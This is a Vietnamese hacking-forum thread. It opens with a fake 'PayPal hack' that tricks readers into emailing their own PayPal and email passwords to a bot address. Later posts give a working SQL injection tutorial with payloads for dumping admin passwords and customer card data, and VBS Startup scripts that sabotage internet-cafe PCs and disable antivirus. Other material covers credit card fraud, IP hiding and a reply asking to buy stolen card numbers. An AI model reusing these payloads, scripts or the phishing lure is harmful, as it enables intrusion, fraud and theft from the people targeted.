Kể từ năm 1998 , Ebay sở hữu PP và nó đã trở thành một ngân hàng Internet to lớn, trên lí thuyết giao dịch , và ý tưởng đó đã trở thành hiện thực khi PP đã có thể chuyển tiền cho bất cứ ai trên thế giới qua Email. Như vậy PP đã trở thành công ty (ngân hàng ) thành công nhất trên Internet của thế giới hiện nay. Tuy nhiên sự thành công đó luôn chịu đe dọa của các tay hacker. PP là một hệ thống bảo mật tốt , nhưng với sự phát triển nhanh chóng của IT thì những lổ hổng cũng xuất phát từ đó.

Bảo mật kĩ càng và cao như Microsoft cũng là nạn nhân của W32 , tương tự PP với hệ thống Sec có quy tắc, nghiêm túc cũng chịu chung số phận , và ai đã làm chuyện này? Chính là các tay hacker Nga. Các bạn có thể tìm hiểu thêm thông tin qua: http://vir.ru/index.html .

Không phải PP chưa biết lỗi này , họ đã có thể báo động cho các khách hàng , nhưng các U nghĩ thử coi, một khi khách hàng nghi ngờ số tiền của mình trong PP thì cũng chính là làm cho PP mất uy tín, vì vậy PP đã dấu đi, thậm chí còn cấm các trang báo đăng Bug này.

Để có thể hack thành công thì bạn phải làm hướng dẫn sau đây và điều quan trọng là bạn đã có 1 Acc PP với confirm địa chỉ.

Tiến hành:

Mỗi thành viên của PP được xác định bởi địa chỉ mail của người đó , phần lớn những người này dùng hotmail hoặc yahoo. Sau khi hoàn thành quá trình xác nhận lại địa chỉ, thường thì người ta dùng Credit Card để Add tiền vào tài khoản của mình; PP sẽ tự động gửi cho người dùng 1 thông điệp nói lên quá trình xác nhận đã hoàn tất ,những thông tin này sẽ được gửi vào Mail của người dùng đó.

Chính sự bất thường xảy ra ở đây .Chính những người sử dụng hotmail và Yahoo có thể được nhầm lẫn bởi 1 người dùng ngẫu nhiên, và nó sẽ đưa ra thông tin nằm trên Server của nó cho người dùng ngẫu nhiên đó.

Như vậy để có tài khoản PP thì nhất định bạn phải lấy các mailbox của người trên, và tất nhiên bạn phải là một người dùng ngẫu nhiên như đã đề cập.

Cái phần trên hơi khó hiểu, nhưng cứ đọc tiếp đi, bạn sẽ thấy đơn giản hơn nhiều.

Tôi đang nói đến phần làm sao để lấy các tài khoản PP , có lẽ ai cũng ưa cho nhiều phải không mặc dù chẳng làm gì cho hết.

1. Bạn login vào http://www.paypal.com bấm chuột vào Profile rồi tiếp tục bấm chuột vào Street Address dưới Account Infomation.

2. Tìm đến địa chỉ của bạn "Home", nếu nó có nói là đã confirm rồi thì đọc tiếp. Chú ý cho cái này; về cơ bản thì việc xác nhận địa chỉ tức là bạn đã được xác nhận bất kì một địa chỉ nào thông qua CC của bạn , những thông tin này đã nằm gọn trên tấm thẻ nhỏ xíu đó. Và điều đặc biệt là CC của bạn không được nạp bởi PP.

Như vậy nếu bạn chưa được Confirm thì bạn hãy dùng CC để làm chuyện đó.

Cái này không nằm trong yêu cầu của bài viết này, nhưng tôi nói thêm cho các bạn được biết cách làm thế nào để có thể có được 1 tài khoản PP.(ai biết rồi thì làm im cho nhá, thanx ).

*) Kiếm một Credit Card , có số Cvv2, CC phải chưa chết bạn có thể check, đã có link check nó rồi . Và nếu xin ai đó thì bảo họ đừng dùng con này nữa .Yêu cầu là phải biết đọc những thông tin trên CC.

*) Cái này không kém phần quan trọng , bạn kiếm một con Sock , giải thích Sock thì thôi nhá.

*) Vào PP đăng kí ngay một tài khoản và sau đó tiến hành confirm .
Nói thì đơn giản vậy nhưng làm thì không dễ đâu.

Quay trở lại vấn đề của chúng ta, okie, đến bước 2 rồi .

3. Kiểm tra xem Email bạn đăng kí trong PP có phải là của Yahoo hay Hotmail không, nếu đúng như vậy thì đọc tiếp. Nếu chưa có thì bạn nên đăng kí tài khoản ở Yahoo hoặc Hotmail , sau đó login vào PP và thay đổi nó thành địa chỉ Email chính thức của bạn.

4. Bây giờ nhá, Login với tài khoản Email của bạn, giả sử là http://mail.yahoo.com ; sau đó tiến hành gửi đến địa chỉ sau một email: servermailerbot0k010m1587@yahoo.com .

Ở dòng Subject , bạn viết: yah3534paypal78verif-0e24$}
Trong nội dung Email bạn viết 12 hàng như sau:

Content-Type: text/plain;

charset=us-ascii

address000%%confirmation0e24.yahoo.com

p38ylec00rm::s%%http://www.paypal.com%%

Your primary email at paypal

start (retrieve > 0)

verified (*value= = float)

Your PayPal password

#searchmsgend72hr

Your yahoo email password

send&&idR20034-tsa-0583

#endofmsg

Bạn sẽ yên tâm khi làm đúng như lời tôi, và Mailerbox sẽ gửi thông tin cho bạn về nhưng Acc PP trong 72 giờ trước .

Đó là đối với trường hợp Yahoo,còn Hotmail thì làm thế nào?

Sẽ có chứ? tất nhiên.

Nếu bạn đã có một tài khoản PP với địa chỉ email là you@hotmail.com thì login vào http://hotmail.com , và bạn gửi một mail cho Autoverificationbot10101@hotmail.com . Ở phần Subject copy cái này vào : 8hot34mail%%tqui3-paypal-35fe2.

Trong phần nội dung Email , bạn viết đủ 14 hàng như sau:

Content-Type: text/plain;

charset=us-ascii

Lang-set%%eng

server&&bot::www.paypal.com%%hotmail%%registry

p35sqelmms::s%%http://www.paypal.com%%

Your primary email at paypal(địa chỉ email của bạn tại PP)

/start*a-z%%retrieval/

verified (*value= = float)

Your PayPal password(Mật khẩu của bạn trong PP)

#searchmsgend72hr

#searchend

Your Hotmail email password(Pass của hotmail)

deliver&&return-path<*>

#endif

Cũng như trên vậy bạn sẽ có được vô vàn các tài khoản PP.

+++++++++

Đây là 1 tài liệu mới, tôi dịch cho các bạn tham khảo , chúng ta cùng làm xem thế nào.

tk_nam
16-11-2005, 12:22 PM
Hãy liếc con mắt lên phía trên của trình duyệt của bạn xem! Có phải kế bên tên của website là Microsoft Internet Explorer ko? Hehe, ko thích à? Vậy thì chả gì khó, đổi tí tẹo là xong hà!!!

Vào Start -> Run -> nhập vào "regedit"

Tìm đế key:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main

Ở bên tay phải màn hình, tìm xem có dòng "Window Title" chưa, nếu có rồi thì hãy nhấp chuột lên nó 2 lần và nhập vào cái gì cũng được, cái đó sẽ là title của IE!

Nếu ko thấy dòng chữ đó, hãy nhấp chuột phải lên khỏang trống màn hình bên phải và chọn "New" -> "String Value" -> với tên là "Window Title" (có khỏang cách giữa Window với Title).

Việc còn lại là làm như trên để thay đổi tên tùy thích! Sau đó đóng tất cả các IE lại và mở ra lại xem! Ô ho, tên mình trên kia kì!!!
[me]

tk_nam
16-11-2005, 12:23 PM
TUT dùng cho hack các web site sử dụng ASP
1 test lỗi
Web asp thừơng có dạng site.com/home.asp?id=2
Kiểm Tra bằng cách thêm '' hoặc bất kỳ kýntuwj nào vô link trên
VD: www.site.com/home.asp?id=2'' ~~~>ENTER
Nếu site báo lỗi Dạng

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string ''.


lỗia roài hack thôi

2 lấy toàn bộ các table
Enter vô sau link web vừa test doạn code
%2bconvert(int,(select%20top%201%20tablesallowed%2
0from%20tbluser))--sp_password

Link sẽ trở thành

QUOTE
www.site.com/home.asp?id=2%2bconvert(int,(select%20top%201%20tablesallowed%2
0from%20tbluser))--sp_password


kết quả :


QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'affiliates,categories,customers,MyCompany,oitems,
orders,ProdFeatures,Products,searchresults,shipmet
hods,subcategories,tblAccess,tblLog,tblUser,Search Results,Affiliates'
to a column of data type int.

/store/shop$db.asp, line 948



Tất cả các table đã dc lấy , bây giờ coi table nào chứa ucollum có pass admin , thông thừong nó có tên là Manager , admin , pass ,user gì đó ,tùy anh em thôi
Sau khi đoán dc Table có collum passs anh em Nhập đoạn code sau đê lấy collum Table


QUOTE
20%2bconvert(int,(select%20top%201%20column_name%2
0from%20information_schema.columns%20where%20table
_name%20='table_can_lay_column'))--sp_password




Link trở Thành
CODEwww.site.com/home.asp?id=220%2bconvert(int,(select%20top%201%20column_name%2
0from%20information_schema.columns%20where%20table
_name%20='table_can_lay_column'))--sp_password





kết quả:


CODEMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'orderID' to a column of data type int.

lấy colum tiếp theo


QUOTE
%20%2bconvert(int,(select%20top%201%20column_name%
20from%20information_schema.columns%20where%20tabl
e_name%20='table_can_l?y_column'%20and%20column_na me%20not%20in('co
lumn_b?n_dã_có)))--sp_password


Link:

QUOTE
www.site.com/home.asp?id=2%20%2bconvert(int,(sel
ect%20top%201%20column_name%20from%20information_s
chema.columns%20where%20table_name%20='orders'%20a
nd%20column_name%20not%20in('orderID')))--sp_password




kết quả:


QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'ocustomerid' to a column of data type int.


Tương tự thế ta lấy hết các collum
orderid','ocustomerid','odate','orderamount','ofir
stname','olastname','oemail','oaddress','ocity','o
postcode','ostate','ocountry','ophone','ofax','oco
mpany','ocardtype','oauthorization','oreferenceid'
,'oreferenceiddc','odcdate','orefidvoidorcredit','
ovoidcreditdate','oavsaddr','oavszip','ocardno','o
cardname','ocardexpires',

Bây giờ lấy dât của collum
code:
CODE
20%2bconvert(int,(select%20top%201ten_colum%2b'/'%2bten_colum_ketiep%20from%20ten_table_muonkhaith
ac))--sp_password

Link

QUOTE
www.site.com/home.asp?id=220%2bconvert(int,(select%20top%201ten_colum%2b'/'%2bten_colum_ketiep%20from%20ten_table_muonkhaith
ac))--sp_password



kết quả :
CODE[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'Jock/Teja' to a column of data type int.

bạn thay cac colum tiep theo


QUOTE
%20%2bconvert(int,(select%20top%201ten_colum%2b'/'%2btencolum_ketiep%20from%20ten_table_muon_khai_t
hac%20where%20ten_1_trong_cac_colum_phia_truoc%20n ot%20in('du lieu
cua colum da lay colum')))--sp_password


Link
CODEwww.site.com/home.asp?id=220%20%2bconvert(int,(select%20top%201ten_colum%2b'/'%2btencolum_ketiep%20from%20ten_table_muon_khai_t
hac%20where%20ten_1_trong_cac_colum_phia_truoc%20n ot%20in('du lieu
cua colum da lay colum')))--sp_password
Thông thừong các bạn len lấy thông tin của các collum co tên mà bạn nghi có pass admin dể truy vấn ,lấy dc dc rùi thì chỉ việc login thôi

Bài Viết tới đây xin hết , chúc anh em vui vẻ , chúc Ym69 thành công


--------------------

hi Lu YM 69!

Jill nhận buy tất cả cái gì có trên Net (Soft, domain, host....) Trừ nhà , ôtô, máy bay còn lại buy tất .....:d

tk_nam
16-11-2005, 12:24 PM
Các chương trình gián điệp, như Spyware, Adware…là những mối nguy hiểm tiềm ẩn đối với PC, ngấm ngầm ăn cắp thông tin cá nhân để khủng bố thư rác, thư quảng cáo. Spy Bouncer sẽ giúp bạn "tiêu diệt" những rắc rối này.


Spy Bouncer, như một chàng "vệ sĩ" mạnh mẽ có khả năng tìm và gỡ bỏ các chương trình gián điệp ra khỏi máy tính nhanh và dễ dàng. Chương trình này có thể hoạt động ở chế độ thường trú, sẵn sàng phát hiện ra các gián điệp có ý định xâm nhập.



Sau khi tải về và cài đặt, bạn kích hoạt nó và cài đặt các thông số ở phần Options trước khi dọn dẹp máy tính. Bạn nên chọn tất cả các mục trong phần Startup Options và Miscellanneous Options. Lưu ý rằng thay vì chọn 2 mục nhỏ là Run in Task Bar và Run in System Tray, bạn chọn luôn Run in both. Tất cả các mục này đều hữu ích, chúng sẽ giúp chương trình chạy từ lúc Windows khởi động để theo dõi các chương trình gián điệp hay sao lưu các dữ liệu trước khi tiêu diệt các chương trình gián điệp… Chọn xong các mục ở phần Options bạn hãy trở lại cửa sổ chính của chương trình và chọn Scan now để bắt đầu quét.



Spy Bouncer quét theo ba cách là: quét nhanh (Smart System Scan), quét toàn bộ (Full System) và quét tuỳ chọn (Custom Scan). Trong đó, quét toàn bộ đòi hỏi thời gian quét dài hơn. Thường thì bạn dùng quét toàn bộ ngay khi mới cài đặt, sau đó, thỉnh thoảng, khi máy tính rảnh, bạn sử dụng nó là hợp lý. Sau đó hãy nhấp Next, một bảng danh sách các đối tượng được phát hiện sẽ hiện ra, bạn hãy nhấn Yes để hoàn tất việc tiêu diệt.



Spy Bouncer còn cho phép bạn lập lịch để quét hệ thống và diệt các chương trình gián điệp một cách an toàn. Bạn hãy vào mục Scheduler rồi chọn thời gian sẽ quét định kỳ. Bạn có thể bật chức năng theo dõi để chương trình thường xuyên theo dõi sát sao máy tính và cảnh báo khi có chương trình lạ đột nhập vào. Bạn vào Live Monitor và chọn Turn On.



Spy Bouncer có dung lượng 6MB, tương thích mọi Windows. Tải về dùng thử tại: http://www.spybouncer.com/sbsetup.exe

tk_nam
16-11-2005, 12:28 PM
Fake Ip rất quan trọng khi bạn làm số việc nào đó như: reg host, ship, down software, ...
Cách fake ip có nhiều cách AnhTuan xin đưa ra cách đơn giản nhất dùng cho IE
Bạn làm như sau
Tools --> Internet Options --> Connections --> LAN Settings
Tích chuột vào hộp kiểm "User a proxy server for .... " --> rồi tích vào Advanced
Hiện ra một cửa sổ có 2 cột, bên trái bạn điền số proxy ví dụ như 20.255.155.15, còn cột bên kia bạn điền port ( cổng ) của proxy đó
Rồi cứ OK liên tục thế là ok
Rồi bạn vào http://whatismyip.com để kiểm tra xem mình đã fake thành công chưa nhé
Nhớ là bạn phải kiếm con proxy live đó, nó mà die thì pó tay
Ngoài ra bạn có thể dùng stock, cái này hay hơn vì nó dấu thông tin tốt hơn
Bạn cũng có thể dùng tool để fake
http://www.v7soft.net/download/hideippla.exe
Có rất nhiều tools để fake ip
Chúc thành công nhé
Làm gì thì làm chứ không cẩn thận POLICE đến hỏi thăm sức khỏe là hix hix mệt lắm đó

tk_nam
16-11-2005, 12:33 PM
Tăng cường bảo mật cho mạng IP
Tăng cường bảo mật cho mạng IP Tìm hiểu cách tiếp cận của Cisco với vấn đề bảo mật mạng
Điều khiển truy cập tới Cisco Routers
Truy cập Console
Password cho chế độ nonprivileged ( bình thường )
Password cho chế độ privileged ( đặc quyền )
Giới hạn thời gian phiên làm việc
Mã hóa password
Truy cập Telnet
Password cho chế độ nonprivileged
Password cho chế độ privileged
Hạn chế truy cập Telnet với những địa chỉ IP cụ thể
Hạn chê truy cập Telnet với những sản phẩm của Cisco thông qua các cổng TCP
Terminal Access Controller Access Control System (TACACS)
Chế độ nonprivileged
Chế độ privileged
Simple Network Management Protocol ( SNMP)
Chế độ nonprivileged
Chế độ privileged
Thiết lập kiến trúc cho một firewall
Điều khiển lưu thông trong mạng
Cấu hình cho một Firewall Router
Lập danh sách truy cập
Áp dụng danh sách truy cập với các interface
Cấu hình cho một Firewall Communication Server
Lập danh sách truy cập
Áp dụng danh sách truy cập với các interface
Sử dụng banner tạo các thông báo
Bảo vệ những dịch vụ ngoài chuẩn khác
Tổng kết
Danh sách tài liệu nên đọc
Bảo mật mạng là một vấn đề rất rộng, có thể được xem xét ở mức dữ liệu (nơi mà những vấn đề về trộm gói tin và mã hóa dữ liệu có thể xảy ra), ở mức giao thức, và ở mức ứng dụng. Ngày càng có nhiều người kết nối Internet và các công ty ngày càng mở rộng mạng, vấn đề bảo mật cho mạng nội bộ trở nên khó khăn hơn. Công ty phải xác định khu vực nào của mạng nội bộ cần bảo vệ, tìm cách hạn chế người dùng truy cập tới những khu vực đó, xác định loại dịch vụ mạng nào cần sàng lọc để ngăn chặn những lỗ hổng bảo mật. Cisco Systems cung cấp rất nhiều tính năng ở tầng giao thức (protocol hay network layer) để
tăng cường bảo mật cho mạng IP. Những tính năng này bao gồm điều khiển hạn chế truy cập
tới routers và servers bằng console port, Telnet, Simple Network Management Protocol (SNMP),
Terminal Access Control System (TACACS), thẻ chứa mã người dùng và danh sách truy cập
Việc thiết lập kiến trúc của một firewal cũng sẽ được nói tới. Bài viết này chỉ nói đến những vấn đề
bảo mật ở mức network-layer, nhưng nếu bỏ qua những vấn đề bảo mật ở mức host-level cũng
sẽ rất nguy hiểm. Về những biện pháp bảo mật ở host-level bạn hãy xem hướng dẫn về các ứng dụng

tk_nam
16-11-2005, 07:05 PM
Bạn nghĩ làm flash phức tạp ?
Ko hẳn vậy đâu!
Có nhiều phần mềm dễ làm mà lại rất đẹp nữa
dùng swish151 cũng hay đó
link nè http://www.swishzone.com/SetupSwish151.exe
bẻ khóa thì các bạn tự làm nghe dễ ợt ấy mà nói nhiều ko nên phải ko
Cái này cũng có thể làm nhạc flash được đó
Các bạn tự khám phá nghe
Làm vài lần thì quen ấy mà .
Khi nào làm tốt thì sài cái swishmax cho nó đã

tk_nam
16-11-2005, 07:07 PM
đầu tiên phải kể tới ăn cắp bass wor ở quán chát dung chương trình sau :
o trang web : http://camhuyennet.net.tf
hay trang web http://nghenhac.go.to
rồi bạn vào thư mục dow


Đây là một vài trò chơi anh em xem ghét ông chủ quán nào thì làm tí cho vui thôi nhé.

Bằng cách đặt một file (*.vbs) nằm trong thư mục Startup chứa một trong những đoạn script sau:

1.Trò chơi thứ nhất: không cho khởi động máy:

Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"

2.Trò chơi thứ hai: disable NAV( nếu có install) của họ:
Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi ces\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"

3.Trò chơi thứ ba: hiển thị môt meesage mỗi khi họ reboot máy:
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Wi nLogon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "Hackervn.org"
wsh.RegWrite s1+s3, "Robinhood invite you to join hackervn.org"

4.Trò chơi 4: hiển thị một dòng lệnh mỗi khi họ click vào một file hay folder:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\Hello I am Robinhood-come from hackervn.org\",""
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hello I am Robinhood-come from hackervn.org\","Robinhood"

5.Trò chơi này đảm bảo làm cho các trò chơi trên có thể diễn ra "vui vẻ": disable Registry của người ta :
Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\Cu rrentVersion\"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD"

có ai thắc mắc gì xin liên hệ http://hoathuytinhnet.net.tf

yin_yang
25-12-2005, 06:13 AM
bạn ơi , bạn có bản hướng dẫn ko vậy .
Sao mình làm flash nhưng ko biết cách nào để *****g nhạc vào .
Biết thì giúp mình với , ok

hiendo
17-06-2006, 09:13 AM
huhuhuhu, em ko bít làm, anh cho em hướng dẫn đi, nếu dc, gửi vào mail em, beo_con_de_thuong1992@yahoo.com

hiendo
17-06-2006, 09:14 AM
huhuhuhu, em ko bít làm, anh cho em hướng dẫn đi, nếu dc, gửi vào mail em, beo_con_de_thuong1992@yahoo.com

Dân Bon Chen
17-06-2006, 04:03 PM
dow về có mất tiền ko u

maimai1tinhyeu
18-06-2006, 10:37 PM
bạn có thể chỉ rõ hơn cho mình kô vậy
nếu có thể ban làm dùm mình 1 bản thử đi liên hệ đến nick của mình là
ghetgirlkieu_yeugirlchanh118 nha thank bạn nhìu lắm
mình đang làm thử mà kô được.cám ơn bạn trước nha

oigioioingat
22-06-2006, 02:18 PM
anh ơi có thể chỉ rõ 1 chút đc ko , down về đc mà ko bít cách làm sao hà

oigioioingat
22-06-2006, 02:28 PM
anh ơi có thể chỉ rõ 1 chút đc ko , down về đc mà ko bít cách làm sao hà

Cần Cẩu
24-06-2006, 05:20 PM
ối giời ơi, cứ làm như ai cung giỏi ma biết tự bẻ khóa được ấy! Chiệu thoi,...

chealsea
24-06-2006, 06:39 PM
hello pls i nêd ccv pls giv me nơ i will pay $$ for it? add me on yahoo ym dannyonlinestore2

drakula
20-07-2006, 08:26 PM
sao khong tra loi ?

hoangviettri
23-07-2006, 12:57 PM
Sao anh em cho vao ko co mau`, lai ko viet dc chu nhu minh muon?
Anh "dai ca" giup em voi?!!!!!!!!!!
Mail cua em ne`:hoangvt85@yahoo.com
Cam on "dai ca" truoc!

lemicliel
23-07-2006, 09:19 PM
Khi nào có giao diện cho Web nao đẹp thì gửi cho mình một vai tấm nghen !!!

lemicliel
23-07-2006, 09:21 PM
Mình quên mail của mình là motkhoanhkhacbuon@yahoo.com.vn

lemicliel
23-07-2006, 09:22 PM
:matrix: Mình quên mail của mình là motkhoanhkhacbuon@yahoo.com.vn

lacloi_1989
05-08-2006, 11:23 AM
Chịu thôi,www.botay.com.canh.cakho...

ely8x
05-08-2006, 06:59 PM
Không hướng dẫn thì ai mà biết sài như thế nào cơ chú
Đến pó tay mất thôi

votinh1003
07-08-2006, 07:40 AM
dễ ợt , vậy mà cũng không biết làm đúng là gà một lũ
có gì lien hệ : hientuan1003@gmail.com

devil181
14-08-2006, 05:50 PM
em ko bít làm, ai vui lòng hướng dẫn giúp em, thank :D